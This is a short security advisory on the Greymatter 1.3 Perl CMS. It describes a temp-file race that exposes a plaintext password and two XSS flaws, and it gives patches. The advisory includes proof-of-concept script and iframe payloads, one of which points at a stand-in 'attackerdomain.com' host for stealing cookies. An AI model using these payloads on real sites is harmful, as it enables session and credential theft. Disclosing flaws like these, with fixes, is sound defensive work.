=======================
Greymatter: Some security flaws
=======================
FraMe (frame at kernelpanik.org)  
http://www.kernelpanik.org        
=======================

Greymatter 1.3 is a CMS written in PERL that uses text files as backend
system. Nowadays. It is used in a lot of areas Like: blogs, news sites, and
workgroups.

While testing the new features of this version, since this was not intended as
a code audit, I found some bugs that were not reported.

I will expose the security flaws, from low risk to high risk, and provide some
solutions.

* ====================
* First: gm-token.cgi
* Type: Race Condition
* Risk: Low
* ====================

When GreyMatter rebuilds a "main entry pages" section, as for example: a
template has changed or an user has used the rebuild button,  a temporal
file is created. Such file is deleted after the rebuilding is done.

This file is created with the name "gm-token.cgi", and with a format as:

$ cat gm-token.cgi
gmXXXXXXXXXX ( where X are numbers )
username
plaintext-password

The file is created in the directory "archives/", with 0666 permissions. If the
directory "archives/" is not in "/cgi-bin",or in a directory with cgi permissions,
anybody could retrieve file with a GET request of "archives/gm-token.cgi".

Obviously, to obtain this file launching a daemon test constantlyit is required.
(If you obtain the file in the first GET, go to buy lottery) This constant testing
can be easily dectected by, for example, checking the webserver log. Despite
this risk, an attack is possible while been of low risk.

¿How to patch it?. Use the tmpnam(); a PERL function to generate a random
filename.

* ====================
* Second: gm-cplog.cgi
* Type: XSS
* Risk: Medium
* ====================

gm-cplog.cgi is the name of the file that keeps GreyMatter logs. Obviously,
logins also are keeps by GreyMatter. However, login variables are not
properly sanitized,so an XSS attack can be injected.

¿How to exploit?. Go to cgi-bin/gm.cgi and put something like:

Author:
<SCRIPT language=JavaScript>alert("XSS")</SCRIPT>
Passwd:
<SCRIPT language=JavaScript>alert("XSS")</SCRIPT>

Later, to wait. Somebody will see "View Control Panel Log".

The exploit could be modified so the username and password could be
stolen remotely.

¿How to patch it?. By Sanitizing all the inputs that are saved in gm-cplog.cgi

* ====================
* Third: gm-comments.cgi
* Type: XSS
* Risk: High
* ====================

In version 1.3 gm-comments.cgi has some security enhancements. For
example, the php code injection is properly detected, and some new
methods for avoiding XSS are included. Nevertheless, the XSS attack is still
possible.

By default, GreyMatter will keep a cookie with the username and the
password that is used in "cgi-bin/gm.cgi", so by stealing this cookie, the
access to greymatter system will be trivial if XSS exists.

¿How to exploit?. Go to a comment form in some greymatter post and writte
something like:

Name: Your Name
Email:
Homepage:
Content: <iframe src=http://attackerdomain.com/exploit.html
    </iframe

$cat exploit.html
Not public but trivial.

¿How to patch it?. I propose, as a temporal patch, the same patch that I
proposed to 1.21d version with php code injection.

#========================================
# XSS in 1.3 comment system.
# Temporal and unofficial patch.
# Written by FraMe ( frame at kernelpanik.org )

# Convert "<"
$IN{'newcommentbody'} =~ s/</\&lt\;/g;
$IN{'newcommentauthor'} =~ s/</\&lt\;/g;
$IN{'newcommentemail'} =~ s/</\&lt\;/g;
$IN{'newcommenthomepage'} =~ s/</\&lt\;/g;

# Convert ">"
$IN{'newcommentbody'} =~ s/>/\&gt\;/g;
$IN{'newcommentauthor'} =~ s/>/\&gt\;/g;
$IN{'newcommentemail'} =~ s/>/\&gt\;/g;
$IN{'newcommenthomepage'} =~ s/>/\&gt\;/g;

#========================================

A patched version of gm-comments.cgi can be donwloaded from:
http://www.kernelpanik.org/code/kernelpanik/gmc13.tar